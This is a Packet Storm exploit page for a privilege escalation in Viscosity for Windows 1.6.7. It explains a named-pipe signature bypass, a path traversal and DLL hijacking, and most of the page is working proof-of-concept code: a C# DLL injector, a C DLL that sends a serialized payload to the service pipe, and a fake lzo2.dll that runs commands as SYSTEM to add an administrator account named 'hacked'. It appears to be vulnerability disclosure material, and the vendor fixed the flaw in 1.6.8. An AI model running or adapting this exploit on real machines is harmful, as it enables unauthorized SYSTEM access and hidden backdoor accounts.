what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Viscosity For Windows 1.6.7 Privilege Escalation

Viscosity For Windows 1.6.7 Privilege Escalation
Posted Jan 31, 2017
Authored by Kacper Szurek

Viscosity for Windows version 1.6.7 suffers from a privilege escalation vulnerability. It is possible to execute openvpn with a custom dll as SYSTEM using ViscosityService because the path is not correctly validated.

tags | exploit
systems | windows
SHA-256 | 1e165f6606a232bfd4cc34a34c68a7346cb59ed704cf1caf321ea02cee78ab3e

Viscosity For Windows 1.6.7 Privilege Escalation

Change Mirror Download
Viscosity for Windows 1.6.7 Privilege Escalation
30 Jan 2017

Homepage:
https://www.sparklabs.com/

Description:

ViscosityService runs as SYSTEM process.

wmic service where name="ViscosityService" get StartName
StartName
LocalSystem

Viscosity.exe contacts with service using named pipe.

Only files digitally signed by SparkLabs can use this pipe because of usage of new X509Certificate2(X509Certificate.CreateFromSignedFile());.

But itas possible to bypass this by injecting our DLL into Viscosity.exe.

So now we can send any commands to service using DLL.

Inside service there is method startOpenVPN which is responsible for executing openvpn.exe as SYSTEM user.

One of the parameter of this method is openVPNVer which is used to generate valid path to exe file:

if (string.IsNullOrWhiteSpace(openVPNVer))
{
text = Path.Combine(text, "openvpn.exe");
}
else
{
text = Path.Combine(text, openVPNVer, "openvpn.exe");
}

Of course from Viscosity GUI we have limited options for choosing this parameter.

But because we control pipe, we can send anything, for example: ..\..\.

Now we control path to binary which will be executed.

There is another problem in order to get privilege escalation.

Before executing openvpn.exe from given path, service again check if this exe file is signed by SparkLabs.

We can bypass this too. How? Using DLL Hijacking.

OpenVPN signed by SparkLabs uses 6 DLL (which donat need to be signed).

So we can copy this signed OpenVPN to our directory and replace one of the external dll, for example lzo2.dll with our custom dll.

Then, service will allow execution of this signed openvpn.exe which will load and execute our custom, non signed dll.
Proof of Concept:

Download Visual Studio Project

For injecting into Viscosity process I use simple C# injector (you need to compile this using x64 architecture):

using System;
using System.IO;
using System.Runtime.InteropServices;
using System.Text;

public class Program
{
public struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public uint dwProcessId;
public uint dwThreadId;
}

public struct STARTUPINFO
{
public uint cb;
public string lpReserved;
public string lpDesktop;
public string lpTitle;
public uint dwX;
public uint dwY;
public uint dwXSize;
public uint dwYSize;
public uint dwXCountChars;
public uint dwYCountChars;
public uint dwFillAttribute;
public uint dwFlags;
public short wShowWindow;
public short cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}

public enum ProcessCreationFlags : uint
{
ZERO_FLAG = 0x00000000,
CREATE_BREAKAWAY_FROM_JOB = 0x01000000,
CREATE_DEFAULT_ERROR_MODE = 0x04000000,
CREATE_NEW_CONSOLE = 0x00000010,
CREATE_NEW_PROCESS_GROUP = 0x00000200,
CREATE_NO_WINDOW = 0x08000000,
CREATE_PROTECTED_PROCESS = 0x00040000,
CREATE_PRESERVE_CODE_AUTHZ_LEVEL = 0x02000000,
CREATE_SEPARATE_WOW_VDM = 0x00001000,
CREATE_SHARED_WOW_VDM = 0x00001000,
CREATE_SUSPENDED = 0x00000004,

}

[DllImport("kernel32.dll")]
public static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, ProcessCreationFlags dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);

[DllImport("kernel32.dll")]
public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);

[DllImport("kernel32.dll", CharSet = CharSet.Auto)]
public static extern IntPtr GetModuleHandle(string lpModuleName);

[DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
private static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

[DllImport("kernel32.dll", ExactSpelling = true, SetLastError = true)]
private static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out UIntPtr lpNumberOfBytesWritten);

[DllImport("kernel32.dll")]
private static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

private static int Main(string[] args)
{
Console.WriteLine("Viscosity for Windows 1.6.7 Privilege Escalation");
Console.WriteLine("by Kacper Szurek");
Console.WriteLine("http://security.szurek.pl/");
Console.WriteLine("https://twitter.com/KacperSzurek");

string exploitPath = @"C:\z\";
string currentDir = Path.GetDirectoryName(System.Reflection.Assembly.GetExecutingAssembly().Location);
string dllPath = Path.Combine(currentDir, "Dll.dll");

if (!System.IO.File.Exists(Path.Combine(currentDir, "Dll.dll")))
{
Console.WriteLine("Missing Dll.dll. Did you copy all dependency?");
return 1;
}

if (!System.IO.Directory.Exists(exploitPath))
{
System.IO.Directory.CreateDirectory(exploitPath);
}

System.IO.File.Copy(@"C:\Program Files\Viscosity\Resources\OpenVPN2.3\msvcp120.dll", @"C:\z\msvcp120.dll", true);
System.IO.File.Copy(@"C:\Program Files\Viscosity\Resources\OpenVPN2.3\msvcr120.dll", @"C:\z\msvcr120.dll", true);
System.IO.File.Copy(@"C:\Program Files\Viscosity\Resources\OpenVPN2.3\ssleay32.dll", @"C:\z\ssleay32.dll", true);
System.IO.File.Copy(@"C:\Program Files\Viscosity\Resources\OpenVPN2.3\libeay32.dll", @"C:\z\libeay32.dll", true);
System.IO.File.Copy(@"C:\Program Files\Viscosity\Resources\OpenVPN2.3\libpkcs11-helper-1.dll", @"C:\z\libpkcs11-helper-1.dll", true);
System.IO.File.Copy(@"C:\Program Files\Viscosity\Resources\OpenVPN2.3\openvpn.exe", @"C:\z\openvpn.exe", true);
System.IO.File.Copy(Path.Combine(currentDir, "Lzo.dll"), @"C:\z\lzo2.dll", true);

STARTUPINFO startupInfo = default(STARTUPINFO);
PROCESS_INFORMATION processInformation = default(PROCESS_INFORMATION);
UIntPtr lpNumberOfBytesWritten;
if (!Program.CreateProcess(@"c:\Program Files\Viscosity\Viscosity.exe", null, IntPtr.Zero, IntPtr.Zero, false, ProcessCreationFlags.CREATE_SUSPENDED, IntPtr.Zero, null, ref startupInfo, out processInformation))
{
Console.WriteLine("Cannot create Viscosity process");
return 1;
}

uint dwProcessId = processInformation.dwProcessId;
IntPtr hProcess = Program.OpenProcess(1082, false, (int)dwProcessId);
IntPtr procAddress = Program.GetProcAddress(Program.GetModuleHandle("kernel32.dll"), "LoadLibraryA");


IntPtr intPtr = Program.VirtualAllocEx(hProcess, IntPtr.Zero, (uint)((dllPath.Length + 1) * Marshal.SizeOf(typeof(char))), 12288u, 4u);
Program.WriteProcessMemory(hProcess, intPtr, Encoding.Default.GetBytes(dllPath), (uint)((dllPath.Length + 1) * Marshal.SizeOf(typeof(char))), out lpNumberOfBytesWritten);
Program.CreateRemoteThread(hProcess, IntPtr.Zero, 0u, procAddress, intPtr, 0u, IntPtr.Zero);

Console.WriteLine("Wait for message from thread");

return 0;
}
}

Injected dll is written in C (also you need to compile this using x64):

#include "stdafx.h"

BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
{
DWORD dwWritten = 0;
char buffer[128];
DWORD numBytesRead = 0;

HANDLE hPipe = CreateFile(TEXT("\\\\.\\Pipe\\ViscosityNamedPipe5zstaa0123s"), GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);

if (hPipe == INVALID_HANDLE_VALUE) {
MessageBoxA(NULL, "Is Viscocity service running?", "FAILED", MB_OK);
return true;
}

WriteFile(hPipe, "10924\n", 6, &dwWritten, NULL);

WriteFile(hPipe,
"AAEAAAD/////AQAAAAAAAAAQAQAAAAQAAAAGAgAAAAxzdGFydE9wZW5WUE4GAwAAAAhyYW5kb21pZAYEAAAACy4uLy4uLy4uL3ovCQUAAAAMBgAAAEdWaXNjb3NpdHlTZXJ2aWNlLCBWZXJzaW9uPTEuNi43LjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49bnVsbAUFAAAAG3pJVllnSnBPOGlRZDlIQlNJeFNCeEtaYlNZaQoAAAAOY29uZmlnRmlsZVBhdGgPYWR2Q29uZmlnVmFsdWVzDGNvbmZpZ1ZhbHVlcxJjdXN0b21Db25maWdWYWx1ZXMMZG5zdjZTZXJ2ZXJzDXJlbW90ZVNlcnZlcnMGcm91dGVzCmlwdjZyb3V0ZXMMZG5zdjRTZXJ2ZXJzCmRuc0RvbWFpbnMBAwMDAwMDAwMD1AJTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5EaWN0aW9uYXJ5YDJbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkxpc3RgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0sIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1d4gFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5EaWN0aW9uYXJ5YDJbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1d4gFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5EaWN0aW9uYXJ5YDJbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1df1N5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkxpc3RgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV1/U3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuTGlzdGAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXfEBU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuTGlzdGAxW1tTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5MaXN0YDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXfEBU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuTGlzdGAxW1tTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5MaXN0YDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXX9TeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5MaXN0YDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1df1N5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkxpc3RgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0GAAAABgcAAAAEdGVzdAkIAAAACQkAAAAJCgAAAAkLAAAACQwAAAAJDQAAAAkOAAAACQ8AAAAJEAAAAAQIAAAA1AJTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5EaWN0aW9uYXJ5YDJbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkxpc3RgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0sIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dAwAAAAdWZXJzaW9uCENvbXBhcmVyCEhhc2hTaXplAAMACJIBU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuR2VuZXJpY0VxdWFsaXR5Q29tcGFyZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0IAAAAAAkRAAAAAAAAAAQJAAAA4gFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5EaWN0aW9uYXJ5YDJbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dAwAAAAdWZXJzaW9uCENvbXBhcmVyCEhhc2hTaXplAAMACJIBU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuR2VuZXJpY0VxdWFsaXR5Q29tcGFyZXJgMVtbU3lzdGVtLlN0cml
10924,
&dwWritten,
NULL);

if (dwWritten != 10924) {
MessageBoxA(NULL, "Cannot write to service", "FAILED", MB_OK);
return true;
}

BOOL result = ReadFile(hPipe, buffer, 127 * sizeof(char), &numBytesRead, NULL);
if (!result) {
MessageBoxA(NULL, "Cannot read from service", "FAILED", MB_OK);
return true;
}

buffer[numBytesRead] = '\0';

MessageBoxA(NULL, buffer, "Output", MB_OK);
}
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}

Fake lzo2.dll is also written in C (but this one is x86):

#include "stdafx.h"

#define EXTERN_DLL_EXPORT extern "C" __declspec(dllexport)

EXTERN_DLL_EXPORT int __lzo_init_v2() {
return 1;
}

EXTERN_DLL_EXPORT int lzo_version_string() {
return 1;
}

EXTERN_DLL_EXPORT int lzo1x_1_15_compress() {
return 1;
}

EXTERN_DLL_EXPORT int lzo1x_decompress_safe() {
return 1;
}

BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
STARTUPINFO si;
PROCESS_INFORMATION pi;

ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));

CreateProcessA("C:\\Windows\\System32\\cmd.exe",
"/C net user hacked /add && net localgroup administrators hacked /add",
NULL, NULL, FALSE, 0, NULL, NULL, (LPSTARTUPINFOA)&si, &pi);

WaitForSingleObject(pi.hProcess, INFINITE);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return false;
}

Timeline:

13-01-2017: Discovered
13-01-2017: Vendor notified
16-01-2017: Version 1.6.8 released, issue resolved


Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    0 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close